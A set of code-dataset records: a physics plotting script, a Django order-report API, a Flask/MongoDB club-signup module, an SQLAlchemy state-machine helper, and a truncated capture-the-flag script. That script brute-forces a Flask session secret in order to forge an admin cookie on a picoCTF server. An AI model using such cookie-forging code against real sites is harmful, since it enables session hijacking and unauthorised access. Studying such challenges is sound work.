r'$\\delta_p = -1.2 \\times 10^{-3}$',\n '_dppm': r'$\\delta_p = -1.5 \\times 10^{-3}$'}\n\ncol = cm.rainbow(np.linspace(0, 1, len(dpp)))\nsm = plt.cm.ScalarMappable(cmap='rainbow', norm=plt.Normalize(vmin=min(dpp), vmax=max(dpp)))\n# fake up the array of the scalar mappable. Urgh...\nsm._A = []\n\nfor i, name in enumerate(file_list):\n x_zs = pickle.load(open('x_zs_norm_' + sim_type + name + '.p'))\n px_zs = pickle.load(open('px_zs_norm_' + sim_type + name + '.p'))\n\n\n plt.figure(1)\n plt.plot(x_zs, px_zs, '.', color=col[i])\n\n\nplt.figure(1)\nplt.legend(loc='best')\nplt.axvspan(68e-3 / np.sqrt(100), 68.3e-3 / np.sqrt(100), color='k')\nplt.xlabel(r'$\\bar{x}$ / $\\sqrt{m}$')\nplt.ylabel(r\"$\\bar{x'}$ / $\\sqrt{m}$\")\nplt.colorbar(sm, label='$\\delta_p$', ticks=np.linspace(min(dpp), max(dpp), 10), format='%.2f')\n\n\ntot_zs_x = []\ntot_cry_x = []\ntot_cry_px = []\n\nfor i, name in enumerate(file_list):\n x_zs = pickle.load(open('x_zs_' + sim_type + name + '.p'))\n px_zs = pickle.load(open('px_zs_' + sim_type + name + '.p'))\n\n plt.figure(3)\n plt.plot(np.array(x_zs) * 1e3, np.array(px_zs) * 1e3, '.', color=col[i])\n\n tot_zs_x = np.r_[tot_zs_x, x_zs]\n\nplt.figure(3)\nplt.legend(loc='best')\nplt.xlabel('x / mm')\nplt.ylabel(\"x' / mrad\")\nplt.axvspan(68, 68.3, color='k')\nplt.colorbar(sm, label='$\\delta_p$', ticks=np.linspace(min(dpp), max(dpp), 10), format='%.2f')\n\n\nplt.figure(5)\nal.filled_hist(tot_zs_x[(tot_zs_x > 50e-3)], bins=50)\npickle.dump(tot_zs_x[(tot_zs_x > 50e-3)], open('part_zs_' + sim_type + '.p', 'w'))\n\n\nplt.show()\n", "sub_path": "Slow_extraction/Exotic_extractions/plot_resosnant_diffusor.py", "file_name": "plot_resosnant_diffusor.py", "file_ext": "py", "file_size_in_byte": 2535, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "matplotlib.cm.rainbow", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm.ScalarMappable", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 31, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Normalize", "line_number": 31, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 36, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvspan", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 49, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 57, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.r_", "line_number": 63, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvspan", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "acc_library.filled_hist", "line_number": 74, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}]} +{"seq_id": "76125748", "text": "from demo_app.api.models import Category, Product, Contact, Order, OrderItem\nfrom demo_app.api.serializers import CategorySerializer, ProductSerializer, ContactSerializer, OrderSerializer, OrderItemSerializer\nfrom datetime import date, timedelta\nfrom django.db.models import Q, Sum\nfrom django.shortcuts import render\nfrom django.http import Http404\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework import generics\n\ndef app(request):\n template = 'app.html'\n return render(request, template)\n\nclass CategoryList(generics.ListCreateAPIView):\n queryset = Category.objects.all()\n serializer_class = CategorySerializer\n\nclass ProductList(generics.ListCreateAPIView):\n queryset = Product.objects.all()\n serializer_class = ProductSerializer\n\nclass ContactList(generics.ListCreateAPIView):\n queryset = Contact.objects.all()\n serializer_class = ContactSerializer\n\nclass OrderList(generics.ListCreateAPIView):\n queryset = Order.objects.all()\n serializer_class = OrderSerializer\n\nclass OrderItemList(generics.ListCreateAPIView):\n queryset = OrderItem.objects.all()\n serializer_class = OrderItemSerializer\n\nclass OrderReportView(APIView):\n # this will give us a JSON object used to generate\n # a chart.js graph\n pagination_class = None\n\n def get_queryset(self):\n queries = Q()\n queryset = OrderItem.objects.all()\n try:\n # Are there filters present? We expect to filter based on five arguments:\n # start date\n # end date\n # contacts - list of ids\n # category \n # product\n query_params = self.request.query_params\n\n if query_params['contacts']:\n # TODO: accept list of IDs (ints) instead of single string\n contact = query_params['contacts']\n queries &= (Q(order__contact=contact))\n\n if query_params['start']:\n start = query_params['start']\n queries &= (Q(order__time_stamp__gte=start))\n\n if query_params['end']:\n end = query_params['end']\n queries &= (Q(order__time_stamp__lte=end))\n else:\n queries &= (Q(order__time_stamp__lte=date.today()))\n\n if query_params['categories']:\n category = query_params['categories']\n queries &= (Q(product__category=category))\n\n if query_params['products']:\n products = query_params['products']\n queries &= (Q(product=products))\n\n except:\n # default if no filter params have been provided: all()\n pass\n\n return queryset.filter(queries)\n\n def get(self, request, format=None):\n\n # return a Response containing a chart.js-compatible data object\n # \n # datasets: list of dataset objects\n # dataset: object representing a product or category\n # data: list of floats\n # backgroundColor: list of hex strings\n # labels: list of strings\n #\n\n query_params = self.request.query_params\n categories = Category.objects.all()\n category_from_request = query_params['categories'] if self.request.GET.get('categories') else False\n product_from_request = query_params['products'] if self.request.GET.get('products') else False\n\n order_items = self.get_queryset()\n if category_from_request or product_from_request:\n # single category or product view\n # labels: list of Product objects\n products = list(set([oi['product'] for oi in order_items.values('product')]))\n labels = Product.objects.filter(id__in=products)\n else:\n # no individual category data - must be category list view\n # labels: list of Category objects\n labels = Category.objects.all()\n\n datasets = []\n revenue_data = []\n profit_data = []\n background_colors = []\n for label in labels:\n query_filter = Q(product=label) if category_from_request or product_from_request else Q(product__category=label)\n order_items_by_category = order_items.filter(query_filter)\n profit_by_category = list(order_items_by_category.aggregate(Sum('line_item_profit')).values())[0]\n revenue_by_category = list(order_items_by_category \\\n .aggregate(Sum('line_item_price')) \\\n .values())[0]\n category = label.category.first() if category_from_request or product_from_request else label\n revenue_data.append(revenue_by_category)\n profit_data.append(profit_by_category)\n background_colors.append(category.background_color)\n revenue_dataset = {\n 'label': 'Revenue',\n 'data': revenue_data,\n 'backgroundColor': background_colors,\n }\n profit_dataset = {\n 'label': 'Profit',\n 'data': profit_data,\n 'backgroundColor': background_colors,\n }\n datasets.append(revenue_dataset)\n datasets.append(profit_dataset)\n label_names = [label.name for label in labels]\n\n return Response(\n {\n 'labels': label_names,\n 'datasets': datasets\n }\n )\n\n", "sub_path": "demo_app/demo_app/api/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5453, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.shortcuts.render", "line_number": 14, "usage_type": "call"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 16, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 16, "usage_type": "name"}, {"api_name": "demo_app.api.models.Category.objects.all", "line_number": 17, "usage_type": "call"}, {"api_name": "demo_app.api.models.Category.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.Category", "line_number": 17, "usage_type": "name"}, {"api_name": "demo_app.api.serializers.CategorySerializer", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 20, "usage_type": "name"}, {"api_name": "demo_app.api.models.Product.objects.all", "line_number": 21, "usage_type": "call"}, {"api_name": "demo_app.api.models.Product.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.Product", "line_number": 21, "usage_type": "name"}, {"api_name": "demo_app.api.serializers.ProductSerializer", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 24, "usage_type": "name"}, {"api_name": "demo_app.api.models.Contact.objects.all", "line_number": 25, "usage_type": "call"}, {"api_name": "demo_app.api.models.Contact.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.Contact", "line_number": 25, "usage_type": "name"}, {"api_name": "demo_app.api.serializers.ContactSerializer", "line_number": 26, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 28, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 28, "usage_type": "name"}, {"api_name": "demo_app.api.models.Order.objects.all", "line_number": 29, "usage_type": "call"}, {"api_name": "demo_app.api.models.Order.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.Order", "line_number": 29, "usage_type": "name"}, {"api_name": "demo_app.api.serializers.OrderSerializer", "line_number": 30, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 32, "usage_type": "name"}, {"api_name": "demo_app.api.models.OrderItem.objects.all", "line_number": 33, "usage_type": "call"}, {"api_name": "demo_app.api.models.OrderItem.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.OrderItem", "line_number": 33, "usage_type": "name"}, {"api_name": "demo_app.api.serializers.OrderItemSerializer", "line_number": 34, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 42, "usage_type": "call"}, {"api_name": "demo_app.api.models.OrderItem.objects.all", "line_number": 43, "usage_type": "call"}, {"api_name": "demo_app.api.models.OrderItem.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.OrderItem", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 56, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 60, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 64, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 66, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 70, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 74, "usage_type": "call"}, {"api_name": "demo_app.api.models.Category.objects.all", "line_number": 94, "usage_type": "call"}, {"api_name": "demo_app.api.models.Category.objects", "line_number": 94, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.Category", "line_number": 94, "usage_type": "name"}, {"api_name": "demo_app.api.models.Product.objects.filter", "line_number": 103, "usage_type": "call"}, {"api_name": "demo_app.api.models.Product.objects", "line_number": 103, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.Product", "line_number": 103, "usage_type": "name"}, {"api_name": "demo_app.api.models.Category.objects.all", "line_number": 107, "usage_type": "call"}, {"api_name": "demo_app.api.models.Category.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "demo_app.api.models.Category", "line_number": 107, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 114, "usage_type": "call"}, {"api_name": "django.db.models.Sum", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.models.Sum", "line_number": 118, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 138, "usage_type": "call"}]} +{"seq_id": "147012168", "text": "#import sqlite3\nfrom typing import final\nfrom gspread.models import Worksheet\nfrom pymongo import MongoClient\n#from sheet_functions import *\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom pprint import pprint\nimport sys\n\n\ndef count_registration(firstname, lastname, email):\n scope = [\"https://spreadsheets.google.com/feeds\", 'https://www.googleapis.com/auth/spreadsheets',\n \"https://www.googleapis.com/auth/drive.file\", \"https://www.googleapis.com/auth/drive\"]\n creds = ServiceAccountCredentials.from_json_keyfile_name(\n \"credentials.json\", scope)\n client = gspread.authorize(creds)\n\n club_signup = client.open(\"registrations\")\n\n registration_sheet = club_signup.worksheet(\"registrations\")\n\n registration_sheet.append_row([firstname, lastname, email])\n\n\ndef sign_user(firstname, lastname, email, club):\n scope = [\"https://spreadsheets.google.com/feeds\", 'https://www.googleapis.com/auth/spreadsheets',\n \"https://www.googleapis.com/auth/drive.file\", \"https://www.googleapis.com/auth/drive\"]\n creds = ServiceAccountCredentials.from_json_keyfile_name(\n \"credentials.json\", scope)\n client = gspread.authorize(creds)\n\n club_signup = client.open(\"club_signup_2020\")\n\n club_sheet = club_signup.worksheet(club)\n\n # try:\n # \tclub_sheet.find(email)\n # \treturn \"Err: already signed up\"\n\n # except:\n # raises exception if cell not found (user is not signed up for club yet)\n\n mongoclient = MongoClient(\"db\", 27017)\n db = mongoclient.signups\n\n x = list(db.signup_list.find())\n print(f\"x is: {x}\", file=sys.stderr)\n\n if list(db.signup_list.find({\"email\": email})) != []:\n entry = list(db.signup_list.find({\"email\": email}))\n updated_clubs = entry[0].get(\"clubs\")\n updated_clubs.append(club)\n\n query = {\"email\": email}\n change_val = {\"$set\": {\"clubs\": updated_clubs}}\n\n db.signup_list.update_one(query, change_val)\n\n elif list(db.signup_list.find({\"email\": email})) == []:\n entry = db.signup_list.insert_one({\"email\": email, \"clubs\": [club]})\n\n entry = [firstname, lastname, email]\n club_sheet.append_row(entry)\n\n\ndef delete_user(firstname, lastname, email, club):\n scope = [\"https://spreadsheets.google.com/feeds\", 'https://www.googleapis.com/auth/spreadsheets',\n \"https://www.googleapis.com/auth/drive.file\", \"https://www.googleapis.com/auth/drive\"]\n creds = ServiceAccountCredentials.from_json_keyfile_name(\n \"credentials.json\", scope)\n\n mongoclient = MongoClient(\"db\", 27017)\n db = mongoclient.signups\n\n entry = list(db.signup_list.find({\"email\": email}))\n updated_clubs = entry[0].get(\"clubs\")\n updated_clubs.remove(club)\n\n query = {\"email\": email}\n change_val = {\"$set\": {\"clubs\": updated_clubs}}\n\n db.signup_list.update_one(query, change_val)\n\n client = gspread.authorize(creds)\n\n club_signup = client.open(\"club_signup_2020\")\n club_sheet = club_signup.worksheet(club)\n cell = club_sheet.find(email)\n\n club_sheet.delete_row(cell.row)\n\n\ndef get_signups(email):\n client = MongoClient(\"db\", 27017)\n db = client.signups\n\n # if signup_list not in db.list_collection_names():\n # \t\tdb.signup_list\n\n if list(db.signup_list.find({\"email\": email})) != []:\n entry = list(db.signup_list.find({\"email\": email}))\n clubs = entry[0].get(\"clubs\")\n print(f\"clubs from get_signups: {clubs}\", file=sys.stderr)\n\n return clubs\n\n else:\n return []\n\n\ndef import_clubs(spreadsheet, worksheet):\n scope = [\"https://spreadsheets.google.com/feeds\", 'https://www.googleapis.com/auth/spreadsheets',\n \"https://www.googleapis.com/auth/drive.file\", \"https://www.googleapis.com/auth/drive\"]\n creds = ServiceAccountCredentials.from_json_keyfile_name(\n \"credentials.json\", scope)\n client = gspread.authorize(creds)\n\n sheet = client.open(spreadsheet)\n club_sheet = sheet.worksheet(worksheet)\n\n clubs = club_sheet.get_all_values()\n\n return clubs\n\n\ndef import_club_interests(spreadsheet, worksheet):\n scope = [\"https://spreadsheets.google.com/feeds\", 'https://www.googleapis.com/auth/spreadsheets',\n \"https://www.googleapis.com/auth/drive.file\", \"https://www.googleapis.com/auth/drive\"]\n creds = ServiceAccountCredentials.from_json_keyfile_name(\n \"credentials.json\", scope)\n client = gspread.authorize(creds)\n\n sheet = client.open(spreadsheet)\n interest_sheet = sheet.worksheet(worksheet)\n\n interests = interest_sheet.get_all_values()\n\n return interests\n\n\ndef update_club_interests(interests):\n client = MongoClient(\"db\", 27017)\n db = client.interests\n\n db.interest_list.drop()\n\n for i in interests:\n interest = {\n \"name\": i[0]\n }\n\n db.interest_list.insert_one(interest)\n\n return True\n\n\ndef update_club_list(clubs):\n\n client = MongoClient(\"db\", 27017)\n db = client.clubs\n\n db.club_info.drop() # delete old table of club info\n\n # insert new clubs\n for i in clubs:\n club = {\n \"name\": i[0],\n \"president\": i[1],\n \"staff\": i[2],\n \"email\": i[3],\n \"meeting_times\": i[4],\n # \"location\": i[5],\n \"description\": i[5],\n \"interest1\": i[6],\n \"interest2\": i[7],\n \"interest3\": i[8]\n }\n\n db.club_info.insert_one(club)\n\n return True\n\n\ndef get_all_clubs():\n client = MongoClient(\"db\", 27017)\n db = client.clubs\n\n clubs = db.club_info.find()\n\n return clubs\n\n\ndef get_club(name):\n client = MongoClient(\"db\", 27017)\n db = client.clubs\n\n club = db.club_info.find({\"name\": name})\n\n return club[0]\n\n\ndef get_all_interests():\n client = MongoClient(\"db\", 27017)\n db = client.interests\n\n interests = db.interest_list.find()\n\n return interests\n\n\ndef search_clubs_by_interest(interests):\n\n client = MongoClient(\"db\", 27017)\n db = client.clubs\n\n if not interests:\n return get_all_clubs()\n\n print(interests, file=sys.stderr)\n\n initial_club_list = []\n\n for i in interests:\n\n matches = db.club_info.find({\"interest1\": i})\n for j in matches:\n initial_club_list.append(j)\n\n matches = db.club_info.find({\"interest2\": i})\n for j in matches:\n initial_club_list.append(j)\n\n matches = db.club_info.find({\"interest3\": i})\n for j in matches:\n initial_club_list.append(j)\n\n final_club_list = []\n\n exists = False\n\n for i in initial_club_list:\n for j in final_club_list:\n if i.get(\"_id\") == j.get(\"_id\"):\n exists = True\n if exists != True:\n final_club_list.append(i)\n exists = False\n\n #print(f\"final clubs list: {final_club_list}\", file=sys.stderr)\n\n return final_club_list\n\n\ndef search_bar(query_string):\n\n print(f\"query string: {query_string}\", file=sys.stderr)\n\n tokenized_string = query_string.split()\n\n print(f\"tokenized string: {tokenized_string}\", file=sys.stderr)\n\n client = MongoClient(\"db\", 27017)\n db = client.clubs\n\n initial_club_list = []\n\n for i in tokenized_string:\n\n query = f\".*{i}.*\"\n print(f\"query in search for loop: {query}\", file=sys.stderr)\n\n initial_club_list.extend(list(db.club_info.find(\n {\"name\": {\"$regex\": query, \"$options\": \"-i\"}})))\n initial_club_list.extend(list(db.club_info.find(\n {\"president\": {\"$regex\": query, \"$options\": \"-i\"}})))\n initial_club_list.extend(list(db.club_info.find(\n {\"staff\": {\"$regex\": query, \"$options\": \"-i\"}})))\n initial_club_list.extend(list(db.club_info.find(\n {\"email\": {\"$regex\": query, \"$options\": \"-i\"}})))\n initial_club_list.extend(list(db.club_info.find(\n {\"meeting_times\": {\"$regex\": query, \"$options\": \"-i\"}})))\n initial_club_list.extend(list(db.club_info.find(\n {\"description\": {\"$regex\": query, \"$options\": \"-i\"}})))\n initial_club_list.extend(list(db.club_info.find(\n {\"interest1\": {\"$regex\": query, \"$options\": \"-i\"}})))\n initial_club_list.extend(list(db.club_info.find(\n {\"interest2\": {\"$regex\": query, \"$options\": \"-i\"}})))\n initial_club_list.extend(list(db.club_info.find(\n {\"interest3\": {\"$regex\": query, \"$options\": \"-i\"}})))\n\n print(f\"initial club list: {initial_club_list}\", file=sys.stderr)\n\n final_club_list = []\n\n exists = False\n\n for i in initial_club_list:\n for j in final_club_list:\n if i.get(\"_id\") == j.get(\"_id\"):\n exists = True\n if exists != True:\n final_club_list.append(i)\n exists = False\n\n print(f\"final club list: {final_club_list}\", file=sys.stderr)\n\n return final_club_list\n", "sub_path": "dn_club_rush/src/flask3/mongo_club_functions.py", "file_name": "mongo_club_functions.py", "file_ext": "py", "file_size_in_byte": 8849, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "oauth2client.service_account.ServiceAccountCredentials.from_json_keyfile_name", "line_number": 15, "usage_type": "call"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials", "line_number": 15, "usage_type": "name"}, {"api_name": "gspread.authorize", "line_number": 17, "usage_type": "call"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials.from_json_keyfile_name", "line_number": 29, "usage_type": "call"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials", "line_number": 29, "usage_type": "name"}, {"api_name": "gspread.authorize", "line_number": 31, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 48, "usage_type": "attribute"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials.from_json_keyfile_name", "line_number": 70, "usage_type": "call"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials", "line_number": 70, "usage_type": "name"}, {"api_name": "pymongo.MongoClient", "line_number": 73, "usage_type": "call"}, {"api_name": "gspread.authorize", "line_number": 85, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 95, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 104, "usage_type": "attribute"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials.from_json_keyfile_name", "line_number": 115, "usage_type": "call"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials", "line_number": 115, "usage_type": "name"}, {"api_name": "gspread.authorize", "line_number": 117, "usage_type": "call"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials.from_json_keyfile_name", "line_number": 130, "usage_type": "call"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials", "line_number": 130, "usage_type": "name"}, {"api_name": "gspread.authorize", "line_number": 132, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 143, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 160, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 186, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 195, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 204, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 214, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 220, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 257, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 261, "usage_type": "attribute"}, {"api_name": "pymongo.MongoClient", "line_number": 263, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 271, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 292, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 306, "usage_type": "attribute"}]} +{"seq_id": "124578800", "text": "import collections\nfrom functools import wraps\nfrom sqlalchemy import types as SAtypes\nfrom sqlalchemy import inspect\n\nclass FSMMeta(object):\n def __init__(self):\n self.transitions = collections.defaultdict()\n self.conditions = collections.defaultdict()\n\n @staticmethod\n def _get_state_field(instance):\n fsm_fields = [c for c in inspect(type(instance)).columns if isinstance(c.type, FSMField)]\n if len(fsm_fields) == 0:\n raise TypeError('No FSMField found in model')\n if len(fsm_fields) > 1:\n raise TypeError('More than one FSMField found in model')\n else:\n return fsm_fields[0]\n \n @staticmethod\n def current_state(instance):\n field_name = FSMMeta._get_state_field(instance).name\n return getattr(instance, field_name)\n\n def has_transition(self, instance):\n return self.transitions.has_key(FSMMeta.current_state(instance)) or\\\n self.transitions.has_key('*')\n\n def conditions_met(self, instance, *args, **kwargs):\n current_state = FSMMeta.current_state(instance)\n next_state = self.transitions.has_key(current_state) and\\\n self.transitions[current_state] or self.transitions['*']\n return all(map(lambda f: f(instance, *args, **kwargs),\n self.conditions[next_state]))\n\n def to_next_state(self, instance):\n field_name = FSMMeta._get_state_field(instance).name\n current_state = getattr(instance, field_name)\n next_state = None\n try:\n next_state = self.transitions[current_state]\n except KeyError:\n next_state = self.transitions['*']\n setattr(instance, field_name, next_state)\n\ndef transition(source = '*', target = None, conditions = ()):\n def inner_transition(func):\n if not hasattr(func, '_sa_fsm'):\n setattr(func, '_sa_fsm', FSMMeta())\n if isinstance(source, collections.Sequence) and not\\\n isinstance(source, basestring):\n for state in source:\n func._sa_fsm.transitions[state] = target\n else:\n func._sa_fsm.transitions[source] = target\n func._sa_fsm.conditions[target] = conditions\n\n @wraps(func)\n def _change_state(instance, *args, **kwargs):\n meta = func._sa_fsm\n if not meta.has_transition(instance):\n raise NotImplementedError('Cant switch from %s using method %s'\\\n % (FSMMeta.current_state(instance), func.func_name))\n for condition in conditions:\n if not condition(instance, *args, **kwargs):\n return False\n func(instance, *args, **kwargs)\n meta.to_next_state(instance)\n return _change_state\n if not target:\n raise ValueError('Result state not specified')\n return inner_transition\n\ndef can_proceed(bound_method, *args, **kwargs):\n if not hasattr(bound_method, '_sa_fsm'):\n raise NotImplementedError('%s method is not transition' %\\\n bound_method.im_func.__name__)\n meta = bound_method._sa_fsm\n return meta.has_transition(bound_method.im_self) and\\\n meta.conditions_met(bound_method.im_self, *args, **kwargs)\n\nclass FSMField(SAtypes.String):\n pass\n\n", "sub_path": "sqlalchemy_fsm.py", "file_name": "sqlalchemy_fsm.py", "file_ext": "py", "file_size_in_byte": 3303, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlalchemy.inspect", "line_number": 13, "usage_type": "call"}, {"api_name": "collections.Sequence", "line_number": 51, "usage_type": "attribute"}, {"api_name": "functools.wraps", "line_number": 59, "usage_type": "call"}, {"api_name": "sqlalchemy.types.String", "line_number": 83, "usage_type": "attribute"}, {"api_name": "sqlalchemy.types", "line_number": 83, "usage_type": "name"}]} +{"seq_id": "641954260", "text": "from itsdangerous import TimestampSigner as tsigner, URLSafeTimedSerializer as serializer, Signer\nfrom flask.json.tag import TaggedJSONSerializer\nimport hashlib\nimport requests\n\nURL = \"http://mercury.picoctf.net:6259/\"\ndata = {\"very_auth\": \"admin\"}\n\ncookie_names = [\"snickerdoodle\", \"chocolate chip\", \"oatmeal raisin\", \"gingersnap\", \"shortbread\", \"peanut butter\", \"whoopie pie\", \"sugar\", \"molasses\", \"kiss\", \"biscotti\", \"butter\", \"spritz\", \"snowball\", \"drop\", \"thumbprint\", \"pinwheel\", \"wafer\", \"macaroon\", \"fortune\", \"crinkle\", \"icebox\", \"gingerbread\", \"tassie\", \"lebkuchen\", \"macaron\", \"black and white\", \"white chocolate macadamia\"]\n\ns = requests.Session()\ns.get(URL)\nold_session = s.cookies.get_dict()[\"session\"]\n\nfor secret in cookie_flavors:\n\ttry:\n\t\tsignature = tsigner(secret_key=secret, salt=\"cookie-session\", key_derivation=\"hmac\", digest_method=hashlib.sha1).unsign(old_session)\n\texcept:\n\t\tcontinue\n\tbreak\n\nnew_session = 